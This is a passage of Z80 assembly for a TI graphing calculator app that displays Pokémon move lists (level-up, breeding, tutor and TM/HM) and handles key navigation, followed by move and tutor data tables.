A,10h ; Square root ("checkmark") B_CALL VPutMap skip_breed_gs: pop DE ; restore DE, the two bytes of the movedata structure push DE ; save two bytes again ld A,D and 00000010b ; C jp z,skip_breed_c ld A,85 ld (penCol),A ld A,10h ; Square root ("checkmark") B_CALL VPutMap skip_breed_c: pop DE pop HL ; restore HL, the address we're at now inc HL ; increment HL once more, for a total of 2 increments per pass. Now HL is at 1st byte of next entry. pop BC ; restore B, the counter; and C, the mode number dec B jp nz,drawscreen_breed ;decrement B, jump if still non-zero jp exit_screenloop ; it's all right to jump into another function's subroutine here....? draw2digits: ; draws A as a decimal number 0-99 at current pen position ; destroys all registers but BC push BC or A jp z,twozeroes B_CALL SetXXOP1 B_CALL FormBase ld A,C dec A jp nz,twonumbers ld A,"0" B_CALL VPutMap ld A,(OP3) jp onenumberonly twonumbers: ld A,(OP3) B_CALL VPutMap ld A,(OP3+1) onenumberonly: B_CALL VPutMap pop BC ret twozeroes: ld A,"0" B_CALL VPutMap ld A,"0" B_CALL VPutMap ret cleanup: ;ld DE,randominfo ;ld HL,alotofspaces ;ld BC,128 ;LDIR ret drawscreen_tmhm: call loadmachinemoveinfo ; load learnable-move number information about the current TM/HM screen pop BC ; Already pushed pop DE ; Already pushed pop AF ; Already pushed ld A,(tmhm_temp_total) ld (total),A ; Set # of screens ; Not useful: total # of screens (=bogus) in D, pixels to represent 1 screen in E, screen number in B, mode (=3) in C ; Total # of moves is in A, but that's bogus too ; Clear the screen ld A,80h+14 B_CALL ClearRow ld A,80h+22 B_CALL ClearRow ld A,80h+30 B_CALL ClearRow ld A,80h+38 B_CALL ClearRow ld A,80h+46 B_CALL ClearRow ld A,80h+54 B_CALL ClearRow ld HL,thirteenspacesandazero ; Erase everything on the top line where the "screen arrow" [(see below)] goes ld DE,OP1 ld BC,11 LDIR putOP1sn 62, 0, 0, 8 ; Draw the "screen arrow" (->A GS RY on top of screen) xor A ld B,A ld (penRow),A ld A,(screen) ld C,A ld HL,tmhm_screen_arrow_position add HL,BC ld A,(HL) ld (penCol),A ld A,Sconvert B_CALL VPutMap ; BC left intact (HL too, btw) ld HL,tmhm_screen_data_offsets add HL,BC add HL,BC ld E,(HL) inc HL ld D,(HL) ex HL,DE ; init the nowaddress ld BC,0408h ; init the Column & Byte counter ld D,1 ; init the TM/HM number ld A,14 ld (penRow),A ; init the row tmhm_byteloop: ld E,80h ; init the TM/HM # and the In-Byte counter/mask tmhm_bitloop: ld A,B ld (penCol),A ; init the column, again... ld A,(HL) ; load the Now-@ Byte Value and E ; Mask the byte jp z,skip_drawing_tm_digits inc (IY+totalmovesonscreen) ; Increment Total TM/HM No. on this screen ;;; DRAW DIGITS { push BC push HL push DE ld A,D cp 10 jp p,tmhm_draw_two_digits ld A,"0";SFourSpaces B_CALL VPutMap pop AF ; popping what was DE to AF (D holds the number to write) push AF ; pushing pack w/o change or "0" B_CALL VPutMap jp tmhm_pop_out_saved_data tmhm_draw_two_digits: push AF B_CALL SetXXOP1 pop AF DAA B_CALL FormBase ; OP3 and OP+1 contain digits pop AF ; popping what was DE to AF (D holds the number to write) push AF ; pushing pack w/o change cp 51 ; compare to 51 (which is HM #1; drawn as H1) jp p,load_h_symbol ; load H instead of the first digit for HMs ld A,(OP3) ; otherwise load first digit jp first_digit_loaded load_h_symbol: ld A,"H" ;jp first_digit_loaded first_digit_loaded: B_CALL VPutMap ld A,(OP3+1) ; load second digit B_CALL VPutMap tmhm_pop_out_saved_data: pop DE pop HL pop BC ;;; } DRAW DIGITS ld A,(penRow) add 6 ld (penRow),A ; advance to next row cp 58 jp m,dont_advance_column ld A,B add 12 ld B,A ; advance the Column ld A,14 ld (penRow),A ; init the row dont_advance_column: skip_drawing_tm_digits: inc D ; advance TM/HM Number srl E ; advance the In-Byte counter/mask jp nz,tmhm_bitloop ; If mask didn't run out, go again... inc HL ; move to next byte dec C jp nz,tmhm_byteloop ; If not @end, go again ld A,(IY+totalmovesonscreen) ; save how many moves are on this screen or A call z,announcezeromoves ; if this is called we don't care about B (column) anyway ; DO NOT DESTROY B HERE ; Do R/B <-> Y Changes & return from here ld A,(screen) cp 2 ret nz ; do nothing if not R/B/Y ld A,(yellowextras) or a ret z ; do nothing if no RB/Y changes ld A,B ; load the Column add 12 ld B,A ld A,14 ld (penRow),A ld HL,yellow_changes ld A,(yellowextras) ld E,A ld D,0 add HL,DE add HL,DE ld E,(HL) inc HL ld D,(HL) ex HL,DE ld A,B ld DE,saveSScreen ld BC,s_plus_many_end-s_plus_many LDIR ld B,A ld HL,saveSScreen ld (penCol),A B_CALL VPutS ; Row 1 ld A,20 ld (penRow),A ld A,B ld (penCol),A B_CALL VPutS ; Row 2 ld A,26 ld (penRow),A ld A,B ld (penCol),A B_CALL VPutS ; Row 3 ld A,32 ld (penRow),A ld A,B ld (penCol),A B_CALL VPutS ; Row 4 ld A,38 ld (penRow),A ld A,B ld (penCol),A B_CALL VPutS ; Row 5 ld A,44 ld (penRow),A ld A,B ld (penCol),A B_CALL VPutS ; Row 6 ld A,50 ld (penRow),A ld A,B ld (penCol),A B_CALL VPutS ; Row 7 ld A,56 ld (penRow),A ld A,B ld (penCol),A B_CALL VPutS ; Row 8 ;TODO ; DO NOT INSERT MORE CODE HERE; except for a few special cases (RB/Y changes) we don't even get here ret drawmachinename: ld A,46 ld (penCol),A ld A,8 ld (penRow),A ld HL,thirteenspacesandazero+1 ld DE,OP1 ld BC,13 LDIR ld HL,OP1 B_CALL VPutS ld A,46 ld (penCol),A ld HL,tmhmlistforcurrentpokemon ld A,(currpos) ld E,A xor A ld D,A add HL,DE add HL,DE ld D,(HL) inc HL ld E,(HL) ex HL,DE dec HL ; convert move index, again XD B_CALL SetXXXXOP2 B_CALL OP2ToOP1 B_CALL DrawMoveName_AlignRight ret loadmachinemoves: push DE xor A ld (statVars),A ld (statVars+1),A ld (statVars+2),A ld HL,0000 add HL,DE ; x1 add HL,DE ; x2 add HL,DE ; x3 add HL,DE ; x4 push HL pop DE add HL,DE ; x8 push HL ; save pokeindex*8 for later ld DE,tmhm_rs add HL,DE ld DE,tmhmadv ld BC,8 LDIR pop HL push HL ld DE,tmhm_gs add HL,DE ld DE,tmhmgsc ld BC,8 LDIR pop HL ld DE,tmhm_rb add HL,DE ld DE,tmhmrby ld BC,7 LDIR xor A ld (tmhmrby+7),A ld A,(HL) ld (yellowextras),A pop DE ld A,D or A jp nz,tmhm_set_screen_number_for_thirdgen_pkmn ld A,E or A jp z,tmhm_set_screen_number_for_firstgen_pkmn dec A srl A cp 251>>1 jp p,tmhm_set_screen_number_for_thirdgen_pkmn cp 151>>1 jp p,tmhm_set_screen_number_for_secondgen_pkmn tmhm_set_screen_number_for_firstgen_pkmn: ld B,3 jp tmhm_screen_number_set tmhm_set_screen_number_for_secondgen_pkmn: ld B,2 jp tmhm_screen_number_set tmhm_set_screen_number_for_thirdgen_pkmn: ld B,1 ;jp tmhm_screen_number_set tmhm_screen_number_set: ld A,(screen) cp B jp p,tmhm_adjust_screen_number_too ld A,B ld (tmhm_temp_total),A ret tmhm_adjust_screen_number_too: ld A,B ld (tmhm_temp_total),A dec A ld (screen),A ret loadmachinemoveinfo: ; This really is just a different init routine that jumps to loadtutormoves to ; do the job... DI ; copied from loadtutormoves push IY push IX ld A,(screen) dec A jp z,load_gsc_to_IX dec A jp z,load_rby_to_IX load_rse_to_IX: ld IX,tms_rse jp IX_loaded load_gsc_to_IX: ld IX,tms_gsc jp IX_loaded load_rby_to_IX: ld IX,tms_rby ;jp IX_loaded IX_loaded: ld A,(screen) add A ; x2 add A ; x4 add A ; x8 ld E,A xor A ld D,A ld HL,tmhmadv ; different address than in loadtutormoves add HL,DE ; here we load moves from the current page only ld DE,tmhmlistforcurrentpokemon ld IY,IY_counter_bytes+8 ld C,0 jp byteloop loadtutormoves: DI ; Disable interrupts since they depend on IY push IY ; Saving TI's treasured flag register allows us to destroy it push IX ld HL,tutordata add HL,DE ; 5 bytes per record add HL,DE add HL,DE add HL,DE add HL,DE ; HL now points to pk-data structure ld DE,statVars+1 ; DE points to destination ld IX,tutormoves ; IX points to move data ld IY,IY_counter_bytes+5 ; Set up main counter ld C,0 ; set up total move count byteloop: ld B,10000000b ; Set B to the first byte bitloop: ld A,(HL) ; Get current byte from pk-data and B ; Mask by Mask jp z,skiploading ; Don't do anything if the pk doesn't learn the move ; The loading consists of moving two data bytes from the Move index to the DEst index, then incrementing ; the total move count ld A,(IX) ld (DE),A inc DE inc IX ld A,(IX) ld (DE),A inc DE inc C ; total move count + jp skipinc ; IX was already incremented once skiploading: inc IX skipinc: inc IX ; Increment the move index srl B ; advance mask jp nz,bitloop ; go again if the mask is still valid inc HL ; increment the pk-data pointer dec IY ; decrement main counter ld A,(IY) or A jp nz,byteloop ; go again if the main counter is still nonzero xor A ; two more zero bytes to provide a cutoff point ld (DE),A inc DE ld (DE),A ld A,C ; record the move count ld (statVars),A pop IX pop IY ; There... TI won't know anything ^^ EI ; Enable interrupts again ret draw_character_at_current_arrow_position: ; assumes D holds the character to draw; destroys all registers but BC and HL ; row=(A%8)*6+14 ld A,(currpos) and 7 ; %8 ld E,A add E ; x2 add E ; x3 ld E,A add E ; x6 add 14 ld (penRow),A ; column=int(A/8)*12 ; column=int(A/8)*4 *3 ; column= (A/2 & ~3)*3 ld A,(currpos) srl A ; /2 and ~3 ; &~3 ld E,A add E ; x2 add E ; x3 ld (penCol),A ld A,D B_CALL VPutMap ret p_tabs1: ; level-up db 7 ; Height db 16 ;Width db 11101010b,10100110b db 01001011b,10100101b db 01001010b,10100110b db 01001010b,10100101b db 00001000b,00100110b db 00010100b,01010000b db 11100011b,10001111b p_tabs1_end: p_tabs2: ; breed db 7 ; Height db 16 ;Width db 10001011b,10100101b db 10001001b,00100111b db 10001001b,00100101b db 11101001b,00100101b db 00001000b,00100000b db 00010100b,01010000b db 11100011b,10001111b p_tabs2_end: p_tabs3: ; tutor db 7 ; Height db 16 ;Width db 10001010b,10100110b db 10001011b,10100101b db 10001010b,10100110b db 11101010b,10100101b db 00001000b,00100110b db 00010100b,01010000b db 11100011b,10001111b p_tabs3_end: p_tabs4: ; tmhm db 7 ; Height db 16 ;Width db 10001011b,10100110b db 10001001b,00100101b db 10001001b,00100110b db 11101001b,00100101b db 00001000b,00100110b db 00010100b,01010000b db 11100011b,10001111b p_tabs4_end: s_lvup: db "LEVEL-UP" ; + 0 L 8 db "LV" ; + 8 L 2 db "FL" ; +10 L 2 db "A" ; +12 L 1 db "21" ; +13 L 2 ; TL15 s_deoxys:db"DEOXYS\6L" ; + 0 L 8 db "LV" ; + 8 L 2 db "RS" ; +10 L 2 db "E" ; +12 L 1 db "FL" ; +13 L 2 ; TL15 s_breed:db "BREED" ; + 0 L 5 db "A" ; + 5 L 1 db "GS" ; + 6 L 2 db "C" ; + 8 L 1 ; TL 9 s_tutor:db "TUTORS" ; + 0 L 6 db "E" ; + 6 L 1 db "FL" ; + 7 L 2 db "C" ; + 9 L 1 ; TL10 s_tmhm: db "tM/hM" ; + 0 L 5 db "A" ; + 5 L 1 db "GS" ; + 6 L 2 db "RY" ; + 8 L 2 ; TL10 tmhm_screen_arrow_position: db 62,70,82 tmhm_screen_data_offsets: dw tmhmadv,tmhmgsc,tmhmrby ;alotofspaces: ; db [128]LdotIcon thirteenspacesandazero: db [13]SFourSpaces,0 tenspacesandazero:; DO NOT MOVE (SEE BELOW) db [9]SFourSpaces," " IY_counter_bytes: ; This label requires a zero and 24 non-zero bytes after it. The zero also belongs to db 0 ; tenspacesandazero, the bytes after it belong to s_frlgplusminus s_frlgplusminus:; DO NOT MOVE (SEE ABOVE) db SFourSpaces,"-1" db SFourSpaces,"+1" db SFourSpaces,"-2" db SFourSpaces,"+2" db SFourSpaces,"-",Sdieresis ; 4 db SFourSpaces,"+",Sdieresis db SFourSpaces,"-",SsupX ; 9 db SFourSpaces,"+",SsupX db "-",SsupX,SsupX ; 20 db "+",SsupX,SsupX db "---" ; big db "+++" ; s_nomoves: db "NO\6MOVES" s_nomoves2: db "TO\6SHOW\6HERE" s_nomove_selected: db [12]SFourSpaces waitkey: select_keywait: halt ; save batteries B_CALL GetCSC ; Get keyboard scan code or a ; is a 0? jr z,select_keywait ; go again if no key ld hl,keys ld d,0 ld e,a ; put scan code to DE (d=0 from above) add hl,de ; get "my" code address ld a,(hl) ; get "my" code to a ; switch(my_code) cp 0 ; case 0 jr z,select_keywait ; go to wait again cp "1" jr z,waitkey_1 cp "2" jr z,waitkey_2 cp "3" jr z,waitkey_3 cp "4" jr z,waitkey_4 cp "5" jr z,waitkey_5 cp "~" jr z,waitkey_quit cp "v" jr z,waitkey_down cp "^" jr z,waitkey_up cp "<" jr z,waitkey_left cp ">" jr z,waitkey_right cp "d" jr z,waitkey_curr_down cp "u" jr z,waitkey_curr_up cp "l" jr z,waitkey_curr_left cp "r" jr z,waitkey_curr_right cp "*" jr z,waitkey_jump_to_sel_move cp 4 ; this gets 1,2 and 3 jp m,waitkey_changemode ;default: push AF B_CALL ZeroOP1 ; OP1 = 00000000000 pop AF LD (OP1+1),A ; OP1 = var name push AF AppOnErr waitkey_failed B_CALL RclVarSym ; OP1(/OP2) = value AppOffErr pop AF push AF B_CALL CkOP1Real ; ACC = type, Z = 1 if real jp nz,waitkey_failed pop AF B_CALL StoX jp movelist_noresetmode waitkey_1: ; Green call cleanup B_JUMP Green waitkey_2: ; Move call cleanup B_JUMP Move waitkey_3: ; Select failed_to_get_x: call cleanup B_JUMP Select waitkey_4: ; MList jp waitkey ; don't do anything! waitkey_5: ; Plus call cleanup jp waitkey_statcalc waitkey_quit: call cleanup B_JUMP JForceCmdNoChar waitkey_down: B_CALL RclX B_CALL Plus1 B_CALL StoX jp movelist_noresetmode waitkey_up: B_CALL RclX B_CALL Minus1 B_CALL StoX jp movelist_noresetmode waitkey_left: ld A,(screen) dec A jp m,waitkey ld (screen),A jp drawscreen_pokemonloaded waitkey_right: ld A,(total) ld B,A ld A,(screen) inc A cp B jp p,waitkey ld (screen),A jp drawscreen_pokemonloaded waitkey_changemode: dec A ld B,A ld A,(mode) ld C,A ld A,B cp C jp m,dontinca inc A dontinca: ld (mode),A jp movelist_noresetmode waitkey_curr_down: ld A,(statVars) or A jp z,waitkey ; if no moves, don't mess with cursor ld D,SFourSpaces call draw_character_at_current_arrow_position ld HL,currpos inc (HL) cursor_update_check_upperbound: ; (assumes HL points to currpos) ld A,(HL) cp (IY+totalmovesonscreen) jp p,cursor_update_set_upperbound jp cursor_update cursor_update_set_upperbound: ; (assumes HL points to currpos) ld A,(IY+totalmovesonscreen) dec A ld (HL),A jp cursor_update waitkey_curr_up: ld A,(statVars) or A jp z,waitkey ; if no moves, don't mess with cursor ld D,SFourSpaces call draw_character_at_current_arrow_position ld HL,currpos dec (HL) cursor_update_check_lowerbound: ; (assumes HL points to currpos) ld A,(HL) or A jp m,cursor_update_set_lowerbound jp cursor_update cursor_update_set_lowerbound: ; (assumes HL points to currpos) xor A ld (HL),A jp cursor_update waitkey_curr_left: ld A,(statVars) or A jp z,waitkey ; if no moves, don't mess with cursor ld D,SFourSpaces call draw_character_at_current_arrow_position ld HL,currpos ld A,(HL) sub 8 ld (HL),A jp cursor_update_check_lowerbound waitkey_curr_right: ld A,(statVars) or A jp z,waitkey ; if no moves, don't mess with cursor ld D,SFourSpaces call draw_character_at_current_arrow_position ld HL,currpos ld A,(HL) add 8 ld (HL),A jp cursor_update_check_upperbound cursor_update: ld D,Sconvert call draw_character_at_current_arrow_position ld A,(mode) cp tmhm jp nz,waitkey call drawmachinename jp waitkey waitkey_jump_to_sel_move: ; Here comes the magic ^^ ; Mode # (desc) : Base_Address+Modifier : Bytes per Record ;---------------------|--------------------------------|------------------ ; MODE-0 (Level-Move) : movedata+1 +3*8*(screen) : 3 ; MODE-1 (Tutor) : movedata +2*8*(screen) : 2 ; MODE-2 (TM/HM) : tmhmlistforcurrentpokemon : 2 ; MODE-3 (Breed) : movedata +2*8*(screen) : 2 ; First get the Base Address ld A,(mode) dec A ; check MODE-1 jp z,getbaseaddressformode1 dec A ; check MODE-2 jp z,getbaseaddressformode2 dec A ; check MODE-2 jp z,getbaseaddressformode3 ; MODE-0 is left getbaseaddressformode0: ld HL,movedata+1 jp adjustbaseaddress getbaseaddressformode2: ld HL,tmhmlistforcurrentpokemon jp baseaddressdone ; don't adjust getbaseaddressformode1: getbaseaddressformode3: ld HL,movedata ;jp adjustbaseaddress adjustbaseaddress: ld A,(screen) add A ; x2 add A ; x4 add A ; x8 ld E,A xor A ld D,A add HL,DE add HL,DE ld A,(mode) or A jp nz,baseaddressdone ; one mode add for MODE-0 add HL,DE baseaddressdone: ; Now get the move# address ld A,(currpos) ld E,A xor A ld D,A add HL,DE add HL,DE ld A,(mode) or A jp nz,movenoaddressdone ; one mode add for MODE-0 add HL,DE movenoaddressdone: ; Get the address & mask it with 00000001b 11111111b (1 255) ld A,(HL) and 1 ld D,A inc HL ld E,(HL) ex HL,DE dec HL ; move index conversion B_CALL SetXXXXOP2 B_CALL OP2ToOP1 B_CALL StoX B_JUMP Move waitkey_failed: ld A,74 ld (penCol),A xor A ld (penRow),A ld DE,OP1 ld HL,fail ld BC,5 ldir ld b,5 ld hl,OP1 B_CALL VPutSN pop AF B_CALL VPutMap jp waitkey waitkey_statcalc: B_JUMP StatCalculator ;.align 256 fail: db "BAD: " keys: db SFourSpaces ; (not used) db "d<>u",0,0,0,0 ; v<>^???? db "*",0,"WRMH",0,0 ; enter+-*/^clear-? db "r","[VQLG",0,0 ; -369)tan-vars-? db "v","ZUPKFC",3 ; .258(cos-prgm-stat db "l","YTOJEB",2 ; 0147,sin-apps-xt0n db "~",0,"SNIDA",1 ; ?-store-ln-log-square-recip-math-alpha db "54321",0,"~" ; graph-trace-zoom-window-y=-2nd-mode db "^" ; del eggmovedataoffsets: dw eggmovedatastart+0000h,0,0 ,eggmovedatastart+0012h,0,0 ,eggmovedatastart+0022h dw 0,0,0,0,0,0,0,0 ,eggmovedatastart+0034h,0,0 ,eggmovedatastart+003Eh,0 dw eggmovedatastart+004Eh,0 ,eggmovedatastart+005Ch,0,0,0 ,eggmovedatastart+0068h dw 0 ,eggmovedatastart+007Ah,0,0 ,eggmovedatastart+0088h,0,0,0,0 dw eggmovedatastart+0096h,0,0,0 ,eggmovedatastart+00A6h,0 ,eggmovedatastart+00B2h dw 0,0 ,eggmovedatastart+00BEh,0 ,eggmovedatastart+00CEh,0 dw eggmovedatastart+00D6h,0 ,eggmovedatastart+00E4h,0 ,eggmovedatastart+00F0h dw 0 ,eggmovedatastart+0104h,0 ,eggmovedatastart+0114h,0 dw eggmovedatastart+0122h,0,0 ,eggmovedatastart+0130h,0,0 ,eggmovedatastart+013Eh dw 0,0 ,eggmovedatastart+014Ch,0,0 ,eggmovedatastart+015Ah,0 dw eggmovedatastart+0166h,0,0 ,eggmovedatastart+016Ch,0 ,eggmovedatastart+017Ah dw 0,0,0 ,eggmovedatastart+0188h,eggmovedatastart+0198h,0 ,eggmovedatastart+01A4h dw 0 ,eggmovedatastart+01B6h,0 ,eggmovedatastart+01C4h,0 dw eggmovedatastart+01D0h,0,0 ,eggmovedatastart+01DEh,eggmovedatastart+01E6h,0 dw eggmovedatastart+01F4h,0,0,0 ,eggmovedatastart+0202h,0 ,eggmovedatastart+0212h dw 0,0,0 ,eggmovedatastart+0220h,eggmovedatastart+0230h,0 ,eggmovedatastart+023Ch dw 0 ,eggmovedatastart+0250h,eggmovedatastart+025Ah,eggmovedatastart+0268h,eggmovedatastart+0278h dw 0 ,eggmovedatastart+0286h,0 ,eggmovedatastart+0290h,0 dw eggmovedatastart+0296h,eggmovedatastart+02A2h,0,0,0 ,eggmovedatastart+02B2h,0,0,0 dw eggmovedatastart+02BAh,0 ,eggmovedatastart+02CCh,0,0,0,0 ,eggmovedatastart+02D8h dw 0 ,eggmovedatastart+02E6h,0 ,eggmovedatastart+02F4h,eggmovedatastart+0300h dw 0,0,0 ,eggmovedatastart+030Ch,0,0,0,0 ,eggmovedatastart+0318h,0,0 dw eggmovedatastart+032Ah,0,0 ,eggmovedatastart+033Ch,0,0 ,eggmovedatastart+034Eh dw 0 ,eggmovedatastart+035Eh,0 ,eggmovedatastart+036Ch,0 dw eggmovedatastart+0374h,0,0 ,eggmovedatastart+0380h,0 ,eggmovedatastart+0388h dw eggmovedatastart+0396h,eggmovedatastart+03A6h,eggmovedatastart+03B0h,0 ,eggmovedatastart+03BEh dw 0 ,eggmovedatastart+03CEh,0,0,0 ,eggmovedatastart+03DEh,0 dw eggmovedatastart+03EEh,0 ,eggmovedatastart+03F0h,0,0 ,eggmovedatastart+0402h dw eggmovedatastart+0412h,0 ,eggmovedatastart+041Eh,eggmovedatastart+0428h,0,0,0 dw eggmovedatastart+0438h,0 ,eggmovedatastart+044Ah,0,0 ,eggmovedatastart+0452h dw eggmovedatastart+0462h,0 ,eggmovedatastart+046Eh,eggmovedatastart+047Eh,0 dw eggmovedatastart+0488h,0 ,eggmovedatastart+049Ch,0 ,eggmovedatastart+04A6h dw eggmovedatastart+04A8h,eggmovedatastart+04B0h,eggmovedatastart+04BEh,0 ,eggmovedatastart+04D0h dw 0 ,eggmovedatastart+04D4h,0 ,eggmovedatastart+04E4h,eggmovedatastart+04F6h dw 0 ,eggmovedatastart+0504h,eggmovedatastart+0510h,eggmovedatastart+051Ch,eggmovedatastart+0526h dw 0,0 ,eggmovedatastart+0536h,0,0 ,eggmovedatastart+0544h,0 dw eggmovedatastart+0554h,0 ,eggmovedatastart+055Eh,eggmovedatastart+056Ah,eggmovedatastart+0578h dw eggmovedatastart+0584h,0,0,0,0 ,eggmovedatastart+0594h,0,0,0,0,0 ,eggmovedatastart+05A2h dw 0,0 ,eggmovedatastart+05AEh,0,0 ,eggmovedatastart+05BAh,0,0 dw eggmovedatastart+05C6h,0 ,eggmovedatastart+05D0h,0,0,0,0,0,0 ,eggmovedatastart+05DAh dw 0,0 ,eggmovedatastart+05E6h,0,0 ,eggmovedatastart+05F2h,0,0 dw eggmovedatastart+05FAh,0 ,eggmovedatastart+0606h,0 ,eggmovedatastart+0610h dw eggmovedatastart+0620h,0 ,eggmovedatastart+062Ah,0 ,eggmovedatastart+0634h dw 0 ,eggmovedatastart+0644h,0 ,eggmovedatastart+0654h,0,0 dw eggmovedatastart+065Ah,eggmovedatastart+0660h,eggmovedatastart+0668h,eggmovedatastart+066Eh,0 dw eggmovedatastart+0674h,eggmovedatastart+067Ch,0 ,eggmovedatastart+0684h,0 dw eggmovedatastart+0690h,0 ,eggmovedatastart+0696h,0,0 ,eggmovedatastart+069Ch dw 0 ,eggmovedatastart+06ACh,0 ,eggmovedatastart+06B6h,0 dw eggmovedatastart+06C2h,0,0 ,eggmovedatastart+06D2h,0 ,eggmovedatastart+06DCh dw 0,0,0 ,eggmovedatastart+06E0h,eggmovedatastart+06EAh,0 ,eggmovedatastart+06F2h dw eggmovedatastart+06F6h,eggmovedatastart+06FAh,eggmovedatastart+0706h,0 ,eggmovedatastart+0714h dw 0,0 ,eggmovedatastart+071Ch,0 ,eggmovedatastart+0728h,eggmovedatastart+0730h dw 0,0 ,eggmovedatastart+073Eh,0 ,eggmovedatastart+0746h,eggmovedatastart+0750h dw 0,0 ,eggmovedatastart+075Ah,0,0 ,eggmovedatastart+0766h,eggmovedatastart+0772h dw 0 ,eggmovedatastart+077Ch,eggmovedatastart+0784h,eggmovedatastart+0790h,eggmovedatastart+079Ch dw 0,0 ,eggmovedatastart+07A4h,eggmovedatastart+07A8h,eggmovedatastart+07AEh,eggmovedatastart+07B4h dw 0 ,eggmovedatastart+07BCh,0 ,eggmovedatastart+07C4h,0,0 dw eggmovedatastart+07CEh,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0 ,0 tutormoves: db 00000010b,00110101b; Flamethrower 1 ; C db 00000010b,00111010b; Ice Beam 2 db 00000010b,01010101b; Thunderbolt 3 db 00001100b,00000101b; Mega Punch 1 ; FR/LG/E db 00001100b,00001110b; Swords Dance 2 db 00001100b,00011001b; Mega Kick 3 db 00001100b,00100010b; Body Slam 4 db 00001100b,00100110b; Double-Edge 5 db 00001100b,01000100b; Counter 6 db 00001100b,01000101b; Seismic Toss 7 db 00001100b,01010110b; Thunder Wave 8 db 00001100b,01100110b; Mimic 9 db 00001100b,01110110b; Metronome 10 db 00001100b,10000111b; Softboiled 11 db 00001100b,10001010b; Dream Eater 12 db 00001100b,10011001b; Explosion 13 db 00001100b,10011101b; Rock Slide 14 db 00001100b,10100100b; Substitute 15 db 00001101b,00110011b; Blast Burn 16 db 00001101b,00110100b; Hydro Cannon 17 db 00001101b,01010010b; Frenzy Plant 18 db 00001000b,11011111b; Dynamicpunch 1 ; E db 00001000b,11001101b; Rollout 2 db 00001000b,11110100b; Psych Up 3 db 00001000b,10101101b; Snore 4 db 00001000b,11000100b; Icy Wind 5 db 00001000b,11001011b; Endure 6 db 00001000b,10111101b; Mud-Slap 7 db 00001000b,00001000b; Ice Punch 8 db 00001000b,11001111b; Swagger 9 db 00001000b,11010110b; Sleep Talk 10 db 00001000b,10000001b; Swift 11 db 00001000b,01101111b; Defense Curl 12 db 00001000b,00001001b; Thunderpunch 13 db 00001000b,00000111b; Fire Punch 14 db 00001000b,11010010b; Fury Cutter 15 tutordata: ; 5 bytes per pokemon db 00001011b,00010000b,01000000b,10110110b,10010000b,00001011b,00010000b,01000000b,10110110b,10010000b db 00001011b,00010000b,01001000b,10110110b,10010000b,10011111b,11010000b,11000100b,10110111b,10110000b db 10011111b,11010000b,11000100b,10110111b,10110000b,10011111b,11010000b,11100100b,10110111b,10110000b db 00110111b,11010000b,01000110b,11111110b,10000000b,00110111b,11010000b,01000110b,11111110b,10000000b db 00110111b,11010000b,01010110b,11111110b,10000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000001b,00010010b,01000000b,10100111b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00001001b,00010000b,01000000b,10100111b,00010000b,00000001b,00010000b,01000000b,10110111b,00000000b db 00000001b,00010000b,01000000b,10110111b,00000000b,00000001b,00010000b,01000000b,10110111b,00000000b db 00000011b,10110000b,01000000b,11110111b,10000000b,01100011b,10110000b,01000000b,11110111b,10000000b db 00000001b,00010000b,01000000b,10110111b,00000000b,00000001b,00010000b,01000000b,10110111b,00000000b db 00000011b,00010000b,11000000b,10100110b,00000000b,00000011b,00010000b,11000000b,10100110b,00000000b db 01010111b,11110000b,01000110b,10110111b,11000000b,01010111b,11110000b,01000110b,10110111b,11000000b db 00001011b,11010000b,11000110b,10110111b,10010000b,00001011b,11010000b,11000110b,10110111b,10010000b db 00000011b,10010000b,01000000b,10110110b,10000000b,00000011b,10010000b,01000000b,10110110b,10000000b db 11110111b,11010000b,11000100b,11111110b,11110000b,00000011b,10010000b,01000000b,10110110b,10000000b db 00000011b,10010000b,01000000b,10110110b,10000000b,11110111b,11010000b,11000100b,11111110b,11110000b db 11110111b,11111110b,01000111b,10111110b,11100000b,11110111b,11111110b,01000111b,10111110b,11100000b db 10000011b,00010000b,01000000b,10100111b,00000000b,10000011b,00010000b,01000000b,10100111b,00000000b db 11110111b,11110010b,01000111b,10111110b,11100000b,11110111b,11110010b,01000111b,10111110b,11100000b db 00000001b,00010000b,01000000b,10100111b,00000000b,00000001b,00010000b,01000000b,10100111b,00000000b db 00001001b,00010000b,01000000b,10100110b,00000000b,00001001b,00010000b,01000000b,10100110b,00000000b db 00001011b,00010000b,01000000b,10100110b,00000000b,00001011b,10010000b,01000000b,10100110b,00010000b db 00001011b,10010000b,01000000b,10100110b,00010000b,00000001b,00010000b,01000000b,10100111b,00000000b db 00000001b,00010000b,01000000b,10100111b,00000000b,00000011b,00010000b,11000000b,10110110b,00000000b db 00000011b,00010000b,11000000b,10110110b,00000000b,01000011b,00010010b,01000001b,11110111b,10000000b db 01000011b,00010010b,01000001b,11110111b,10000000b,00110111b,11010000b,01000101b,11111111b,00000000b db 00110111b,11010000b,01000101b,11111111b,00010000b,01010111b,11011000b,11000101b,10111111b,11100000b db 01010111b,11011000b,11000101b,10111111b,11100000b,10000011b,00010000b,01000000b,10100111b,00000000b db 10000011b,00010000b,01000000b,10100111b,00000000b,00100011b,00010000b,01000000b,11100110b,10000000b db 00110111b,11011000b,01000000b,11111110b,10000000b,00110111b,11011000b,01000100b,11111110b,10000000b db 00010111b,11111010b,01000101b,10101110b,01100000b,00010111b,11111010b,01000101b,10101110b,01100000b db 00010111b,11111010b,01000101b,10101110b,01100000b,10010111b,11011000b,11000100b,10111110b,01100000b db 10010111b,11011000b,11000100b,10111110b,01100000b,10010111b,11011000b,11000100b,10111110b,01100000b db 00001001b,00010000b,01000000b,10100110b,00000000b,00001001b,00010000b,01000000b,10100110b,00000000b db 00001011b,00010000b,01000000b,10100110b,00000000b,00101001b,00010000b,01000000b,11100110b,00000000b db 00101001b,00010000b,01000000b,11100110b,00000000b,10010011b,11011001b,11000110b,10110110b,10100000b db 10010011b,11011001b,11000110b,10110110b,10100000b,10010111b,11011001b,11000110b,10110110b,10110000b db 10000011b,00010000b,01000000b,10100111b,00000000b,10000011b,00010000b,01000000b,10100111b,00000000b db 10100011b,00110010b,01000001b,11110111b,00000000b,10110111b,11110010b,01000101b,11111111b,00010000b db 01000001b,00110000b,01000010b,10100111b,00000000b,01000001b,00110000b,01000010b,10100111b,00000000b db 00001011b,00010000b,01000001b,10110111b,00000000b,00000011b,00010000b,01000000b,10110111b,00000000b db 00000011b,00010000b,01000000b,10110111b,00000000b,00100011b,00010000b,01000000b,11100110b,00000000b db 